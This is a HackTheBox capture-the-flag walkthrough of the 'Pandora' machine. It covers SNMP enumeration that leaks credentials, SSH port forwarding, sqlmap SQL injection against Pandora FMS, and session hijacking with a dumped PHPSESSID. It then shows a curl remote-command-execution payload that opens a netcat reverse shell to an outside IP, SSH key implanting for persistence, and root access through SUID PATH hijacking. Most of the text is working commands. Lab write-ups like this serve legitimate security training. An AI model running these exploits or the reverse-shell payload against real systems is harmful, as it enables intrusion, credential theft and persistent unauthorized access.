Pandora HackTheBox WalkThrough

This is Pandora HackTheBox machine walkthrough. In this writeup, I have demonstrated step-by-step how I rooted Pandora HackTheBox machine. Before starting let us know something about this machine. It is Linux OS box with IP address 10.10.11.136 and difficulty easy assigned by its maker.
First of all, connect your PC with HackTheBox VPN and make sure your connectivity with Pandora machine by pinging its IP 10.10.11.136. If all goes correct then start hacking. As usual, I started by scanning the machine. Scanning gives us an idea how we have to proceed further. Like, it helps in banner grabbing the services running over different ports and sometimes it helps in vulnerability assessment also. I have used $ nmap for this task and the result is given below: –
Scanning
$ sudo nmap -p- -oN full-tcp-scan.nmap --min-rate=10000 10.10.11.136

$ sudo nmap -p22,80 -oN script-scan.nmap -sC -sV 10.10.11.136

$ sudo nmap --top-ports 10 -sU -oN top-udp.nmap 10.10.11.136

$ sudo nmap -p161 -sU -sC -sV -T4 -oN udp-script.nmap 10.10.11.136

————SNIP————
Nmap full TCP scan revealed ports 22 and 80 as open. OpenSSH is running over port 22 and apache2 web server is running over port 80. Also, UDP scan on top 10 ports revealed port 161 as open and SNMP service is running over it. SNMP is bit unique let us explore over it.
Wikipedia, describes Simple Network Management Protocol (SNMP) as an Internet Standard protocol for collecting and organizing information about managed devices on IP networks and for modifying that information to change device behavior. It is widely used in network management for network monitoring. It exposes management data in the form of variables on the managed systems organized in a Management Information Base (MIB) which describes the system status and configuration.
Enumeration on Port 161
On further enumeration on port 161 using nmap's snmp scripts found credential daniel : HotelBabylon23.
$ sudo nmap -sU -p161 --script “snmp* and not snmp-brute” 10.10.11.136

———————SNIP———————

———————SNIP———————

You can also use metasploit’s auxiliary module auxiliary/scanner/snmp/snmp_enum for SNMP enumeration. It also performs the same task as nmap’s snmp scripts do.
msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.11.136
msf6 auxiliary(scanner/snmp/snmp_enum) > run

———————SNIP———————

———————SNIP———————
Let us use this [daniel: HotelBabylon23] credential to SSH into the pandora box.
Getting User Shell
$ ssh [email protected]
~HotelBabylon23
$ whoami && id

We have successfully logged in into Pandora box as user daniel. It has two users namely daniel & matt. User flag is only accessible to matt and root user therefore, when I tried to access it, it gave me Access Denied message. To capture the flag, we have to logged in as user matt. After some enumeration when I didn’t find anything interesting then simply checked all the listening ports on pandora box.
Checking the Listening Ports
$ ss -lnpt

Port number 53, 22, 3306 and 80 are listening. Ports 80 and 22 are listening as normal [because they can be accessed from outside the box]. On the other hand, ports 3306 & 53 are only accessible from localhost. Since we don’t have any credential so we can’t access them. I simply curled the IP 127.0.0.1 and found a URI /pandora_console/. This hinted me to check the URL http://127.0.0.1/pandora_console/. When I checked it, I found different content which was not accessible through the URL http://10.10.11.136/pandora_console/.
$ curl 127.0.0.1

To access this Pandora Console, we have to port forward port number 80 to our localhost [kali machine]. Since we have SSH credentials so can use it to perform local port forwarding.
Local Port Forwarding
$ ssh -L 80:127.0.0.1:80 [email protected]
~HotelBabylon23

After localport forwarding pandora_console is accessible through the URL http://127.0.0.1/pandora_console/.

Tried to login with Pandora FMS default credential admin : pandora and with some other combination of credentials but none of them worked. There is also the version of this FMS is present viz., v7.0NG.742_FIX_PERL2020.

Simply googled this version for vulnerabilities and found it is affected with many vulnerabilities namely SQL Injection, Malicious File Execution, Privilege Escalation, XSS and a lot more. Check articles this & this for more info. SQL Injection can be confirmed by the endpoint http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1\.

Soon I got this vulnerability I dumped the Username and Password of all the users.
$ sqlmap -u http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1 --dbs --batch --technique=EU --time-sec=30
$ sqlmap -u http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1 -D pandora -T tusuario -C fullname,is_admin,password,email --dump --thread=10

Then tried to crack the hash using $ hashcat and wordlist rockyou.txt but it could not crack them. Then I dumped the session IDs of all the logged in user from the table tsessions_php and hijacked the session of user matt.
$ sqlmap -u http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1 -D pandora --dbms=mysql -T tsessions_php --dump --thread=10 --risk=3

———————SNIP———————
Hijacking Session of Matt
Simply replace the PHPSESSID value with g80h3hf7j4u3js38pchlm445kn and then refresh the page. We can see we have successfully hijacked the session of matt and logged in successfully as matt.

Getting Shell as Matt
According to this post we can perform Remote Command Execution via the Events Feature.
Note: If we are getting user shell here then it will be of the privilege of the user matt because currently, we are logged in as matt.
Let us exploit and get user shell using the PoC given in this post.
On Kali Machine
$ curl -H "Cookie: PHPSESSID=g80h3hf7j4u3js38pchlm445kn" "http://127.0.0.1/pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2%3E%261|nc+10.10.17.97+1234+%3E/tmp/f&response_id=1"
On Local Machine
$ nc -nvlp 1234
$ whoami && id

We have successfully got user shell with the privilege of user matt. Let us upgrade it to fully qualified Linux shell so that we can run more advanced Linux command through it.
Note: You will get access denied message as below if Session ID of matt user is expired. So, try to dump fresh session id from tsessions_php table and then use it to hijack matt’s session.

Upgrading Shell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'$ ^Z # Ctrl+Z to background the shell
$ stty raw -echo
$ fg # Plus press 2 times enter to foreground the shell
$ export TERM=xterm

We have successfully upgraded the shell. Let us capture user flag.
Capture User Flag
$ cat /home/matt/user.txt

Privilege Escalation
To escalate the privilege to root we have to first find a Privilege Escalation Vector using which we can perform privilege escalation. We can find PrivEsc Vector either manually or using some post exploitation enumeration scripts like Linpeas.sh, LinEnum.sh and there are a lot more. Check this link on PayloadsAllTheThings. This time, I have used Linpeas.sh for this task.
Finding PrivEsc Vector
Linpeas.sh found a custom SUID binary pandora_backup in the directory /usr/bin/. SUID binary is that file which when executed by normal user is executed by the permission of its owner even if it is not owned by the normal user. For example, if any binary has given a SUID permission and that file is owned by root user so, when normal user executes that binary all the commands inside that file will be executed by root privilege.

Let us check who can execute pandora_backup by checking its permission.
$ ls -la /usr/bin/pandora_backup

pandora_backup has executable permission given to user matt. This binary can be used to escalate privilege by Path Hijacking if the Linux commands used inside this binary is not used with their absolute path. Let us check whether any Linux command is being used without its absolute path inside pandora_backup.
$ cat /usr/bin/pandora_backup

We found that $ tar command is used without its absolute path. We can use $ tar command to exploit this vulnerability and get root shell. When I tried to get shell by manipulating $ tar command I got root shell without much effort. So here our potential PrivEsc Vector is Privilege Escalation by Path Hijacking or Privilege Escalation by Custom SUID exploitation. Check HTB boxes with similar privilege escalation vector here and here.
Before privilege escalation we need to first get a persistent shell using SSH, only then our exploit will work. I don’t know why but when I was trying to get root using this current shell I got failed every time. This exploit worked only when I got a SSH shell of user matt by implanting my SSH public key in authorized_keys file of user matt. So let us implant our SSH public key into authorized_keys file.
Implanting SSH Keys
On Kali Machine
$ ssh-keygen # generate new ssh key pair
$ cat id_rsa.pub

Copy id_rsa.pub keys in your clipboard and then paste it into authorized_keys file of user matt. If authorized_keys find not present then create one as below.
On Pandora Machine
$ mkdir .ssh
$ cd .ssh/
$ echo "Your SSH public key here" >authorized_keys
$ cat authorized_keys

Getting Shell as Matt
$ chmod 400 id_rsa
$ ssh -i id_rsa [email protected]
$ whoami && id

We have successfully got a persistence shell of user matt. Let us get root shell by performing privilege escalation.
Getting Root Shell
To get root shell do the following.
$ cd /tmp
$ echo "/bin/bash" > tar
$ export PATH=$(pwd):$PATH
$ chmod +x tar
$ /usr/bin/pandora_backup
# whoami && id

We have successfully got root shell. let us capture root flag.
Capture Root Flag
# cat /root/root.txt

This was how I rooted to Pandora HackTheBox machine. Learnt a lot during this walkthrough. Hope you have also learnt some new things. Thanks for reading this writeup. Share your experience in the comment section. Want to give any suggestion about the writeup feel free to write us at [email protected]. Check out my latest articles at https://ethicalhacs.com/.
